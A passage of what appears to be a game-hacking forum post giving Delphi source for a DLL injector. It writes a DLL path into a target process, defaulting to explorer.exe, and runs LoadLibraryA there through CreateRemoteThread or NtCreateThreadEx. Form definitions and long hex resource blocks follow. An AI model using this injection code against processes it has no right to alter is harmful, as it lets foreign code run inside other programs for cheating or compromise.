          CloseHandle(hProcess);
        Exit;
      end;
      if GetOSVersion >= 60 then
        NtCreateThreadEx := GetProcAddress(GetModuleHandleW('ntdll'), 'NtCreateThreadEx');
      lpStartAddress := GetProcAddress(GetModuleHandleW('kernel32'), 'LoadLibraryA');
      if (lpStartAddress = nil) then
        Exit;
      if GetOSVersion >= 60 then
        if (@NtCreateThreadEx = nil) then
          Exit;
      lpBytesWritten := 0;
      if (WriteProcessMemory(hProcess, lpParameter, ModulePath, dwSize, lpBytesWritten) = False) then
      begin
        VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);
        if hProcess <> 0 then
          CloseHandle(hProcess);
        Exit;
      end;
      hThread := 0;
      lpThreadId := 0;
      if GetOSVersion >= 60 then
        NtCreateThreadEx(@hThread, MAXIMUM_ALLOWED, nil, hProcess, lpStartAddress, lpParameter, false, 0, 0, 0, 0)
      else
        hThread := CreateRemoteThread(hProcess, nil, 0, lpStartAddress, lpParameter, 0, lpThreadId);
      if (hThread = 0) then
      begin
        VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        Exit;
      end;
      GetExitCodeThread(hThread, lpExitCode);
      if hProcess <> 0 then
        CloseHandle(hProcess);
      if hThread <> 0 then
        CloseHandle(hThread);
      Result := True;
    end;
    
    
    procedure TForm1.sButton2Click(Sender: TObject);
    var
      hSnap:THandle;
      pe:TProcessEntry32;
      pid: DWORD;
    begin
    pe.dwSize:=SizeOf(pe);
    hSnap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
      If Process32First(hSnap,pe) then
        While Process32Next(hSnap,pe) do
          if ExtractFileName(pe.szExeFile)='explorer.exe' then
        edit2.Text:=IntToStr(pe.th32ProcessID);
        end;
    
    procedure TForm1.sButton1Click(Sender: TObject);
    begin
      if OpenDialog1.Execute then
        Edit1.Text:= OpenDialog1.FileName;
    end;
    
    procedure TForm1.Button1Click(Sender: TObject);
    begin
      InjectIDMetod(PAnsiChar(Edit1.Text), StrToInt(Edit2.Text));
      sEdit1.Text:='DLL Успешно Заинжектился';
    end;
    
    end.
    
    Файл прокта
    Код:
    program Project1;
    
    uses
      Forms,
      Unit1 in 'Unit1.pas' {Form1};
    
    {$R *.res}
    
    begin
      Application.Initialize;
      Application.Title := 'DLL Inject by DenkA003';
      Application.CreateForm(TForm1, Form1);
      Application.Run;
    end.
    
    Форма
    Код:
    object Form1: TForm1
      Left = 521
      Top = 136
      BorderIcons = [biSystemMenu, biMinimize]
      BorderStyle = bsSingle
      Caption = 'DLL Inject by DenkA003'
      ClientHeight = 124
      ClientWidth = 277
      Color = clBtnFace
      Font.Charset = RUSSIAN_CHARSET
      Font.Color = clBlack
      Font.Height = -10
      Font.Name = 'MS Sans Serif'
      Font.Style = []
      Icon.Data = {
        0000010001002020200000000000A81000001600000028000000200000004000
        0000010020000000000000100000000000000000000000000000000000000000
        0000000000000000000000000000000000000000000000000000000000000000
        0000000000002393FE2D2393FE6C2393FEEE2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFE2393FEB02393FE4E2393FE0A000000000000
        0000000000000000000000000000000000000000000000000000000000000000
        0000000000000000000000000000000000000000000000000000000000002393
        FE3F2393FEDA2393FEFE2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF72393FE932393
        FE02000000000000000000000000000000000000000000000000000000000000
        00000000000000000000000000000000000000000000000000002393FEA92393
        FEFE2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF92393FE9D2393
        FE992393FEB72393FEF92393FEFE2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEF42393FE470000000000000000000000000000000000000000000000000000
        0000000000000000000000000000000000002393FE122393FEDE2393FEFF2393
        FEFF2393FEFF2393FEF62393FEA62393FE162393FE0C00000000000000000000
        0000000000002393FE052393FE122393FE232393FEE82393FEFD2393FEFF2393
        FEFF2393FEFD2393FE7000000000000000000000000000000000000000000000
        00000000000000000000000000002393FE172393FEF82393FEFF2393FEFF2393
        FEFD2393FE970000000000000000000000000000000000000000000000000000
        000000000000000000000000000000000000000000002393FE132393FEE52393
        FEFF2393FEFF2393FEFE2393FE9E000000000000000000000000000000000000
        000000000000000000002393FE022393FEF62393FEFF2393FEFF2393FEF22393
        FE32000000000000000000000000000000000000000000000000000000000000
        0000000000000000000000000000000000000000000000000000000000002393
        FEB32393FEFE2393FEFF2393FEFE2393FE8F0000000000000000000000000000
        000000000000000000002393FEB92393FEFF2393FEFF2393FEF32393FE070000
        000000000000000000000000000000000000000000002393FE012393FE502393
        FE6B2393FE4C0000000000000000000000000000000000000000000000000000
        00002393FE602393FEFC2393FEFF2393FEFE2393FE4D00000000000000000000
        0000000000002393FE482393FEFE2393FEFF2393FEFA2393FE1B000000000000
        00000000000000000000000000002393FE562393FED02393FEEC2393FEFF2393
        FEFF2393FEFF2393FEF42393FEEA2393FE430000000000000000000000000000
        0000000000002393FE872393FEFF2393FEFF2393FEEF2393FE02000000000000
        00002393FE042393FEE12393FEFF2393FEFE2393FE6A00000000000000000000
        0000000000002393FE0E2393FED62393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEE82393FE04000000000000
        000000000000000000002393FEC22393FEFF2393FEFF2393FE91000000000000
        00002393FE7A2393FEFF2393FEFF2393FEE30000000000000000000000000000
        00002393FE082393FEEC2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF42393FE030000
        000000000000000000002393FE062393FEFB2393FEFF2393FEF82393FE150000
        00002393FEE82393FEFF2393FEFF2393FE390000000000000000000000002393
        FE042393FEE72393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEE40000
        00000000000000000000000000002393FEBD2393FEFF2393FEFF2393FE562393
        FE342393FEFF2393FEFF2393FEFF000000000000000000000000000000002393
        FE9E2393FEFF2393FEFF2393FEF32393FEA42393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFC2393FE9B2393FEFE2393FEFF2393FEFE2393
        FE440000000000000000000000002393FE182393FEFF2393FEFF2393FEF22393
        FE482393FEFF2393FEFF2393FEDC0000000000000000000000002393FE012393
        FEEA2393FEFF2393FEFB2393FE26000000002393FECC2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFA2393FE4F000000002393FE8D2393FEFF2393FEFF2393
        FEE10000000000000000000000002393FE0A2393FEFD2393FEFF2393FEFF2393
        FE822393FEFF2393FEFF2393FE530000000000000000000000002393FE4A2393
        FEFE2393FEFF2393FEC600000000000000002393FE082393FEE92393FEFF2393
        FEFF2393FEFF2393FE9F00000000000000002393FE082393FEF62393FEFF2393
        FEF32393FE030000000000000000000000002393FEBA2393FEFF2393FEFF2393
        FEF32393FEFF2393FEFF2393FE690000000000000000000000002393FE6D2393
        FEFF2393FEFF2393FEA40000000000000000000000002393FE282393FEFD2393
        FEFF2393FEF0000000000000000000000000000000002393FEEA2393FEFF2393
        FEFF2393FE5F0000000000000000000000002393FE742393FEFF2393FEFF2393
        FEFA2393FEFF2393FEFF2393FE720000000000000000000000002393FE8E2393
        FEFF2393FEFE2393FE6E000000000000000000000000000000002393FEBD2393
        FEFF2393FE41000000000000000000000000000000002393FEE92393FEFF2393
        FEFF2393FE790000000000000000000000002393FE7C2393FEFF2393FEFF2393
        FEF12393FEFF2393FEFF2393FE5B0000000000000000000000002393FEBC2393
        FEFF2393FEFF2393FEA70000000000000000000000002393FE192393FEF22393
        FEFF2393FED6000000000000000000000000000000002393FEE92393FEFF2393
        FEFF2393FE760000000000000000000000002393FE7C2393FEFF2393FEFF2393
        FEA82393FEFF2393FEFF2393FEE82393FED72393FED62393FEC02393FEF72393
        FEFF2393FEFF2393FEE70000000000000000000000002393FEDB2393FEFF2393
        FEFF2393FEFF2393FE750000000000000000000000002393FEF02393FEFF2393
        FEFC2393FE270000000000000000000000002393FE982393FEFF2393FEFF2393
        FE262393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FE1A000000002393FE7A2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFE2393FE22000000002393FE4B2393FEFE2393FEFF2393
        FED80000000000000000000000002393FE062393FEF42393FEFF2393FEFF2393
        FE292393FEFE2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEDF2393FE322393FEFD2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEED2393FE352393FEFB2393FEFF2393FEFF2393
        FE7A0000000000000000000000002393FE162393FEFF2393FEFF2393FEF02393
        FE012393FED12393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFC2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFE2393FEFF2393FEFF2393FEC22393
        FE020000000000000000000000002393FEA42393FEFF2393FEFF2393FE610000
        00002393FE922393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF12393FE060000
        000000000000000000002393FE032393FEFD2393FEFF2393FEFD2393FE192393
        FE272393FEFB2393FEFF2393FEFF2393FEFE2393FEEA2393FEE02393FEFE2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF62393FE07000000000000
        000000000000000000002393FEBD2393FEFF2393FEFF2393FEAB000000002393
        FEE72393FEFF2393FEFF2393FEF72393FE0400000000000000002393FE042393
        FEE02393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEF32393FEC10000000000000000000000000000
        0000000000002393FE312393FEFE2393FEFF2393FEF82393FE11000000002393
        FEFE2393FEFF2393FEFF2393FE0E000000000000000000000000000000002393
        FE072393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEBB2393FE712393
        FE642393FE652393FE5000000000000000000000000000000000000000000000
        00002393FE192393FEFA2393FEFF2393FEFF2393FE7D00000000000000002393
        FEFF2393FEFF2393FEED00000000000000000000000000000000000000000000
        00002393FEF82393FEFF2393FEFF2393FEFF2393FEFF2393FE52000000000000
        0000000000000000000000000000000000000000000000000000000000002393
        FE192393FEF02393FEFF2393FEFF2393FEC90000000000000000000000002393
        FEFF2393FEFF2393FEFC00000000000000000000000000000000000000002393
        FE022393FEFC2393FEFF2393FEFF2393FEFF2393FEFF2393FE79000000000000
        00000000000000000000000000000000000000000000000000002393FE942393
        FEF92393FEFF2393FEFF2393FED42393FE060000000000000000000000002393
        FEFD2393FEFF2393FEFF2393FE97000000000000000000000000000000002393
        FE3C2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FE5A000000000000
        00000000000000000000000000002393FE062393FE682393FEF72393FEFF2393
        FEFF2393FEFF2393FE9C2393FE04000000000000000000000000000000002393
        FEA12393FEFF2393FEFF2393FEFF2393FEC62393FE2C2393FE1E2393FEBB2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEC32393FE952393
        FE812393FE842393FE7F2393FEAB2393FEFD2393FEFF2393FEFF2393FEFF2393
        FEF72393FE6F0000000000000000000000000000000000000000000000002393
        FE012393FED62393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFE2393FEDD2393
        FE25000000000000000000000000000000000000000000000000000000000000
        00002393FE032393FED92393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFD2393FEB52393FEF62393FEFE2393FEFE2393FEFE2393FEFF2393
        FEFF2393FEFF2393FEFD2393FEFD2393FEFB2393FEB72393FE4A000000000000
        0000000000000000000000000000000000000000000000000000000000000000
        000000000000000000002393FEAD2393FEFE2393FEFF2393FEFF2393FEFF2393
        FEE92393FE0300000000000000002393FE242393FE1C2393FE682393FEEF2393
        FEF52393FEE72393FE272393FE262393FE160000000000000000000000000000
        000000000000000000000000000000000000000000000000000000000000FFC0
        01FFFF00007FFE00003FF803C01FF03FFC0FE07FFF07E0FC3F83C1F007C183C0
        01E1878000E0870000F00F0000700E0808700E1818380E1C3C380E1E3C380E1C
        3C38001C1C38000808700000007000000070800000E0000001E1060007C10F00
        1F831F81FF071F01FE070F01F00F0000003F0000007F800001FFE03007FF}
      OldCreateOrder = False
      Position = poDesktopCenter
      PixelsPerInch = 96
      TextHeight = 13
      object sButton2: TsButton
        Left = 8
        Top = 8
        Width = 105
        Height = 25
        Caption = #1053#1072#1081#1090#1080' '#1055#1088#1086#1094#1077#1089
        TabOrder = 0
        OnClick = sButton2Click
        SkinData.SkinSection = 'BUTTON'
      end
      object sButton1: TsButton
        Left = 8
        Top = 40
        Width = 105
        Height = 25
        Caption = #1042#1099#1073#1088#1072#1090#1100' Dll....'
        TabOrder = 1
        OnClick = sButton1Click
        SkinData.SkinSection = 'BUTTON'
      end
      object Button1: TsButton
        Left = 8
        Top = 72
        Width = 105
        Height = 25
        Caption = #1042#1085#1077#1076#1088#1080#1090#1100' DLL'
        TabOrder = 2
        OnClick = Button1Click
        SkinData.SkinSection = 'BUTTON'
      end
      object sEdit1: TsEdit
        Left = 119
        Top = 75
        Width = 149
        Height = 21
        Color = clWhite
        Enabled = False
        Font.Charset = RUSSIAN_CHARSET
        Font.Color = clBlack
        Font.Height = -10
        Font.Name = 'MS Sans Serif'
        Font.Style = []
        ParentFont = False
        TabOrder = 3
        SkinData.SkinSection = 'EDIT'
        BoundLabel.Indent = 0
        BoundLabel.Font.Charset = DEFAULT_CHARSET
        BoundLabel.Font.Color = clWindowText
        BoundLabel.Font.Height = -11
        BoundLabel.Font.Name = 'MS Sans Serif'
        BoundLabel.Font.Style = []
        BoundLabel.Layout = sclLeft
        BoundLabel.MaxWidth = 0
        BoundLabel.UseSkinColor = True
      end
      object Edit1: TsEdit
        Left = 119
        Top = 41
        Width = 149
        Height = 21
        Color = clWhite
        Enabled = False
        Font.Charset = RUSSIAN_CHARSET
        Font.Color = clBlack
        Font.Height = -10
        Font.Name = 'MS Sans Serif'
        Font.Style = []
        ParentFont = False
        TabOrder = 4
        SkinData.SkinSection = 'EDIT'
        BoundLabel.Indent = 0
        BoundLabel.Font.Charset = DEFAULT_CHARSET
        BoundLabel.Font.Color = clWindowText
        BoundLabel.Font.Height = -11
        BoundLabel.Font.Name = 'MS Sans Serif'
        BoundLabel.Font.Style = []
        BoundLabel.Layout = sclLeft
        BoundLabel.MaxWidth = 0
        BoundLabel.UseSkinColor = True
      end
      object Edit2: TsEdit
        Left = 119
        Top = 9
        Width = 149
        Height = 21
        Color = clWhite
        Enabled = False
        Font.Charset = RUSSIAN_CHARSET
        Font.Color = clBlack
        Font.Height = -10
        Font.Name = 'MS Sans Serif'
        Font.Style = []
        ParentFont = False
        TabOrder = 5
        SkinData.SkinSection = 'EDIT'
        BoundLabel.Indent = 0
        BoundLabel.Font.Charset = DEFAULT_CHARSET
        BoundLabel.Font.Color = clWindowText
        BoundLabel.Font.Height = -11
        BoundLabel.Font.Name = 'MS Sans Serif'
        BoundLabel.Font.Style = []
        BoundLabel.Layout = sclLeft
        BoundLabel.MaxWidth = 0
        BoundLabel.UseSkinColor = True
      end
      object sStatusBar1: TsStatusBar
        Left = 0
        Top = 105
        Width = 277
        Height = 19
        Panels = <
          item
            Alignment = taCenter
            Text = '    By DenkA003 for GameHackClab.ru'
            Width = 50
          end>
        SkinData.SkinSection = 'STATUSBAR'
      end
      object OpenDialog1: TOpenDialog
        Filter = 'dll|*.dll'
        Left = 431
        Top = 7
      end
      object sSkinManager1: TsSkinManager
        ExtendedBorders = True
        InternalSkins = <
          item
            Name = 'Ubuntu (internal)'
            Shadow1Color = clBlack
            Shadow1Offset = 0
            Shadow1Transparency = 0
            Data = {
              41537A66050000000B0000004F7074696F6E732E646174A7300000789CDD1A5B
              6FB338F6BD52FFC3F607CCB7BE600C8A22952414500920422FDF8CE61B8D56A3
              DDA71D691EF6B1BF7DCFB1B101C721246DE7F650C7D0139FFBD5F9212BEB4D52
              16D543FDE3EDCD3E397469BB29BA7DD2ACF5C397CDBEB9BD794EDB435157EBE8
              0B21B737C95397D7EDFAF0CB6FFFFEE51FD9AFFFFDD77F7EFEEDD7FFDDDE6CEB
              125E5341E39851717B93D75DFF2A9452AA570F75D5BF83733675BB4B5BFDC843
              1A8741707BD36DCBF4A15B4701C013783EE4C9AE7EA1FD412CE48C89D0BEAE1F
              1E0E69B766F6C5A67C82C3F0ECD76D9E6E1FD3DDFA9E9058DC134A2358B8C485
              DDF37B45C0EB53E58291C080C11714D8619F94E51890062140CB187611C3EF51
              7B5ED6265F478701A6FE30F8CA709885D22785D29C04672AA836D915F5182112
              C5F03019E289D13DB36053CA10900803C8A80654108A2A4045184720DC717E4F
              15E5C5B6AEF2B46C1046A0A01477049738E8B943987D512108816F51112330A2
              9163906D591F527B8EB0E74C80AABADDDB8364640E8AB985C15392B2AECE1EB5
              4F5E674E3A0C54D300F9E6B1118E20231043B5060AB90132A80E23AA358CA006
              26641666423521B0508112A7B8B031498AEA5327656DD114FB24531451FCB230
              1640C2D0E8ECD024DB741DE0B62DB2BC5B87BD7DB9A61AD3DEC028B1027E06B7
              CF2AE587455737B8E9B69BBAEBEABDDEE3CB20A282736E7CF5A5D8753962D914
              8F69DAE44FE99AF6FCF4C6A31992D60023347B80E98AAE4CF35451C9D120D30A
              A24BEFBEDF318C3DAFFDBF59747B737BF3C3266921241DBAA44B0F88C58D2E9A
              2260F7F0B8FE86B2FE86DCC18EE18EE18E5077810FF8A3064193546939C1E29E
              0A5FA0B1841D871DA3B8A3418F0E14874BAC4E15786A860E099C3510D6E0634D
              8657BBA44BD6D53F1310459B54A0B936ADB65FD71403AA264689682026F046CB
              63CAC0C72D65C8F4B023EC1B90FA4D226513A444C566F7D503105A6569956C4A
              301D6A5E14A0A7A483E80FF2D15F9C90E5AA0579790223AA064EF831D4E4089B
              271C6B9BF04A225C84402D337CC7DD851B2D2C630432DF0BFE133FC9FA0E3F36
              5DF5A5A9B23B7A47EEF81DA025EED2C3EF93368390A2ED48391B84FE09C31306
              8F35EE8A5FBD5C463760DC151062B2011F3BE71D1005D031D05094F0C491634C
              BD63C8DC63BDEE8AE7020E9DE07534152BFDA083C431EE847115BD30BDB378BC
              AE90BEC26B2849D289630E021D6872DD4D9D30713811334E2559F5E5C58A462B
              BA1A1ECD6744BCAFD55BC7E407ECD368A903B0E6E001D2C405DA211CE5C2D16F
              05EA2988514C81BBB079ED64C95396CE46CC9970A20D44000A1A46B00B83B3E1
              336BEBA76662F6CCA7D0F7E1F1FA0920CF8BAA3B651EB6D874A41CD80C119EC9
              10A267719F564F4786782E945DE3F980AB81640F69B46BEBF20463C7392064D6
              DB02942DF1C6452B4C8FD11C27C033A62A987166A53F1ACDA334287E82A0F96E
              34B3E6D8B475D6A687433E93CE29552762D254095292F963CFC717636CAB18AA
              3B49E315C33842EC639FD1564CA8D7E6D17C0AEA7D8DEF0053D9427D66F29D54
              D68B31420A1B4AC7CBD870555FE049C39F9A950E5BB0DD120A199A4F909E2B3D
              3C618208557261AC885147829B2849229B4CA209CB03F6E7D3D84F73E9180A33
              06470394360F0CEA09115EFC6C86FBA5F84914F7FCABEA4EF36FB8D6B5E849FE
              D987F1CF03C37F285CD1C37FBDFC77954E8AD7D090955F9B5C51D0F7792422D8
              F470DC49DDC83A7492106BDFA80F7E8C0BAF43331F9D3866783795CC765701F6
              7A71E4A352D1A1A82448E04554AAB2E263C854C25464FA85A9EC4D93292F1526
              F48A1FA3F198198DC7B197486964A98ACBE5441E4AAC5DF3B9E255051DE56FB1
              30E187A85A4C8E76F6E833ECA8AE5D62D74E91312975D7EE10F43C4790440AB0
              EF51764EB5EF49EB8AAAD12373049D173A0F70A26026638071A0B249D3DD8256
              CE538D9E0D6F8A1311986416A9669ABA8B6DE8DE999706467E52D391BF003BC4
              C74ECF4D5974DDB80BE323A245144A26021FCDCBE505C73E1DCE8D5FE6EA52C6
              4CCDA68A6CE552930670DA0502CEAEAE4B17E31C860BCBD025851C8F38F48A2B
              C3E18A3255870DCF66138913FFE8CB364F99ADD8BBC095EC20E43AD363EEC2CD
              1868B11100E2EDE34423CBA3BA8E6CDB3CA9A0F2BFACE953FEA1BF6FE3A89AC7
              123347872CA6D2421F3E27506AC229B89E592BA8AED83EE675FBBD9AC66256A1
              3841C5F93850A5431D823CA76D3703B2586A2FE9C655F3D0FDFB2F41AEEC183D
              616A3195DB7ABFA92169FFE81FB4714C740CAD49F81B4AEE4D389A28CF0474F4
              761882A289251B5B2BBA0104C7480CCD046721940F7DDAB863B3039141D41E0A
              8CB82634B81D5738EDCF4CFBD63BB57D34DD1E0D7508189EFB4D1F0216C41B12
              85548611460FCE03C656B13461453FDB4D7FE630807B3E16982E5D5071429599
              43BFE0465C62C7374583D59047619E92E1487F43986E124C47D5FA0D1BD5371C
              D1E24EBE61A3FD46C95B3F24ADCB3C4DF4F4F07DD973D4EB3FFFE1BD3EF5F7FA
              D4DFEBFB5EF733C6EB7BFDBEB2C927D33FEE9F880D750215210FB83BDBB4800B
              A3D0752168ACA83B8843483ADE33DF71357907A797EEA2691F4F5CD5E378E89A
              EE8AEEC8B87410096D1091C3D08FF92289E7CADA7D1ECDFFB9F7160109995C23
              90C859C611CBC66335491DD7E6AA17023A31BB61D7464273CBFC97E330299B3C
              F910057D306D1393961E5978C4E57A8214038F2355FE5DF9DC27458583F1B9C6
              7574E533140EEF8ABD5C8880C7A3AA1BD2253D5185AB80EABBB1397191D3DFD8
              38F7AF6C7286FDE1C99280E9BF5F5D74397C4109E5BB594163D2577CAAE9D2D7
              C0C2EEA68391B68002ACC28B87CFBD01406BD9260D26004FA9E7BB9589DDC592
              EDD3DF403A76AF69996E7B54A7ECF3D2DA606955F9A9B701E79D24E2A110A11C
              AA583977DE898B7C12845148E42822842226411059554236DF9F709399CBD2B3
              05C5520F59623FDE7920FFD3A8B217A46EC1CEB4D77F3CB5138DB23804BF3F37
              FFB94C27208EA76657BF54FE9E745180F0F7A4B337AED07F4EC6D6AE25FBE850
              591C97714F3A2C6452675DA93AE2571DF1AB6ED6C7172456DB6E9A86D4F4A1B6
              41359BC17875E200F9FDF984F7BB06DCAB8437BAE877AFCA3EFDBABFC3C66C7C
              EDB5446DEAB611278934E0AEC68E7A8BAB6DDEDB49137F272DE73AE92BD5464F
              A88DAE6CB43077718E90686084C4422BA42303FFD861D598FFD1B06A2CC46138
              D533E719562D15986F58454F0CABE8B19D4F6DEE77F8518BC5EC5C9F7E3AEA5D
              9B6417FE70F5F29FBAF4139F4D91CDDE26FC8D7E63F97F3BAC77AE0B00000042
              746E487567652E626D7034DC0000789CED9D09409655DAF7CF38EF07B89B4B6A
              B9A7A20E9621E25A4AAC6EA5B956B8941B284259A28E9A228AD0F2A2A2802DA6
              18A25022A8A0936D16D6288A66E2D26A2EC0A480A6666F5FCD772DE79CFBDC0F
              38D5E4D33BF8713D0BCB03D773F3F37F2DE7DCE7DC3E30D4EB7341E6F95F4274
              828F6DFE24C47BF0F14FC28DBE5FE384100D6BF3E39F821F68FFFCE73F05DD5C
              E0D1081E7FFBA7D8BE6387D8F87AAA58FBD2CB62E8C69FC490D77E14435EFD1F
              31F8E51FC4E097AE8BC1C9DF8BE60B7F12CDE7FD289ACDB9249ACDBA2806ADBA
              2206AFB92A9A3EF5BD6836FB0771FBF4B3A269788918B4F23B3130FEB218F8E2
              2531083E360A3E266E0FBD2C1A3F7E0A5E879F0FBB229A4CF95A043D572E0297
              978AC0988B2228B654DC3EA55C341A7B5804447F2B02A2FE2102169788C0E80B
              2270E905317D6DA98858572E66AD2F17CFA4948BC6E32F88C6C1DF8ADB1EDA27
              1A0CD92B1A0CDC239A3C5E2A1A8E3820021695888005C5F0281201F38BC4D0E8
              123161C54511BEF6A278665DA9A8F7400EBC4F896834BA58D4F7DF2D1A3FFA0F
              D16854916810F8AEA8EF932DFCFF5A24FCE79D177E916785DFECB3C27FEE39F1
              C8F21211B2EA5BF1CCDA0BE299972F88A793E1BD879E1175FBBE211A3E7C5E34
              7CE8ACA8775F363CB68A3E338A85CFAC12D16BE2FBC277D637C2F7A96F84DF33
              6784DFD36784EF93A745D09C7F88A1F3BF1543E77C2306CEDC2766AD2911B5BB
              6F10B53D5F8363F85AD4F1DE028F4DA28ED74671DBA0D3A26E9F4C51B777BAA8
              DB2B4DDCF1D069D16EE437A2CB636784E7A47362C08C73C237E26BE11BF69508
              98552C8644168B814F7D2D462D3C2B0686BC2BA6C59D13B3128AC5AC9545A2FE
              80CF45FDFE9F89DAF7AC17B5BBAD13B5EF7E5534F0FF5234F0FD42D4E90EEF77
              EF4651C73345D4EEFAB268ECF78568DE2755B40BC814BE33CF8B0742E0D8A77F
              29063F05EF3961B7089AB44B3C157F5ED4EB7B52D4EB7D42D4EAF20A3CD68A5A
              9D9245FDFBE0DF79C049D172D017A2CBB02FC47D8F9F165E0F6E1501A167C4A0
              3060E65D28EAF68087D73151B363A2A8D9011E1DD7889AEDD7887ABD8E8B7A3D
              8F8B5AF0FD5AF0BD9EA33F178342BE1681E3B2855B9BD5C2AD6D82A873F727A2
              AEE7A7A26EB7A3A266DB6478C0EFDF058F76AB45AD76C9A2D65D49A256FB44D1
              D8EBA8A8EF9E28EEE803FAEBFA926837E098E834F0A468E5BD4E741EF0BA1834
              E52B31F0892F44E02399E2BEFE03C5A021A3C5C427C2C4D4905962795C82A8DD
              A940B8B55A2DEA74392CEA781C16355B278AFAF0B176DBD562C0D8532268FC67
              C2A34F8CE8E5BF52F88FCA1401A3B78A071E7A45048C7C4D0C1F9F2EC64DCF15
              A191EF8BDE03A68AB9CB8E88E793CF8AC8C5BB45CC8A0362DCE4E7C4C2A5F06F
              DA2649E4BE7D468C193B493CFBEC2271E1C2459197B74FFCFCF3CFE2C71F7F14
              57AF5E15A74F9F16C78E1D132FBCF0829833678E080B0B1393274F16C1C1C162
              F4E8D162D8B06162D0A041A25FBF7EC2DBDB5B787A7A8A7BEFBD5774EDDA5574
              EEDC59346DDA54FCF9CF7F167FBA8195BA165DF9E1A79FE01DFFB5FDFCD34F3F
              5C29772DB9919F1B59C96FF15FE45AFA5BFD97BA963BCDFF0597F21F7EC9AFE3
              DBFC50E472C1A9FECBFF53FC9796FDF0DB7C2BFBA1EC57FD2BFCE7FA77FB15FE
              4BCBFF4DEFF40EE5BFF80E55DB7FF1BFCB5EBF4359F12DECBFE4CAEFF38E76C5
              A58AFBBF71A9F9BDF0D97E28BB35FD1797FFC69C7F23FBB9FCA293FD571A0317
              8B9CEAFFE2E59BE31DED722580AAB8FF9BE9BEB237A8E2FE8B6FAAFB8A6F70D3
              FD17FFB1C75F7E73DD0B51EE64FF457FA8FFB29B94DA2CFBB9EC16F2EF72530A
              A3DD7E7071B27FA34F2971AEFF0B37A1ADAA6857748A2876B27F271DBF1EAF96
              39C3BD1065B788FF5227A813ED87D25BC3FF4DCFFDCACA6F09FFCEC2AFFE01AA
              BA7F27452F5AD92DE0FF82D3F0C33FC085AAEFDFC579EE8570A9FAFE9D96DDD0
              20C31539D37F91F38FDF89F204815679FF25377DE462DACF25A5CEF55FEAE4E3
              2F7575A67B215CABBA7FA7A60748104E4D0F90209CEDDF29433BCBAE5475FF4E
              4D6F90E0AABAFF9F9CEBFFA76AFFB7B67FE7BAAFB66AABB66AABB66AABB66AAB
              B66AABB66AABB66AABB66AABB66AABB66AABB66AABB66AABB66AABB66AABB66A
              ABB66AABB66AFB7D56D5D7E738DBBF5397C70AF18BD797A9F65FB5FD5775FD57
              FBFFDFF55FD5D7DF3ADB7F555FBFED6CFF4E5E9F5FE5F71754F5FD23CEF6EFEC
              FD47557D7F5355DFBFE674FF4EDDE054EEFCFD8FCEF65FD5F7CF3ADB7F55DF7F
              ED6CFF4EDFBFEFE664FF4E3C7EB75BE1FA0FCEF65FD5AF1FE2BC0A537E6B5C7F
              C6D9FE9D7EFD222765A03FECFA4BCEBE3E5515BDBE96750941275FDFCC39FE5D
              FE38FF55FDFA7B4EF77FF36BC01F7BFDC69B7FFC0ED7B7BCB9972FFDE3AF2F7A
              D38FDFF112BECEBE7E6C69D5BE3E6D95BFFEB0D3FD3BFDFAD555E8FAD8955EDF
              BBAA5FFFDCF9FEFFE4E2DCEBDB3BFBFAF94E3FFEAAFEFF2FFCA9D8CDB9FE7FEF
              FFAF51E4E4FFBFC3D9FE7FF9FF1FF94FFEFF5FFE33FC57F5FF3FC8F9FED97ECB
              FF6FF5DB3CB3FD86FF7FEA7FD17F8DCAECFFFE5B56A9AB5BD0FF8FFFB6FD7FE0
              FF7F7EA7DDE2FEAFFF6EBB95FD7F5F995D77F8E47AC5D7AFDBBEF9EBFD3BBA72
              7CE5BAE34F5DFF65FF95FBBCAE5EB96E39BDCE4FD677AFFFC2F1C36BD7E8B1EF
              D3ACAC435959DBB76767676F044B49D9B0710BDA6636FA7CC3869414782D3B7B
              FBF6ED59DBB33EDDF7FDF7FBAE91831BFABFF63DFFC0BE4F2323236747CE069B
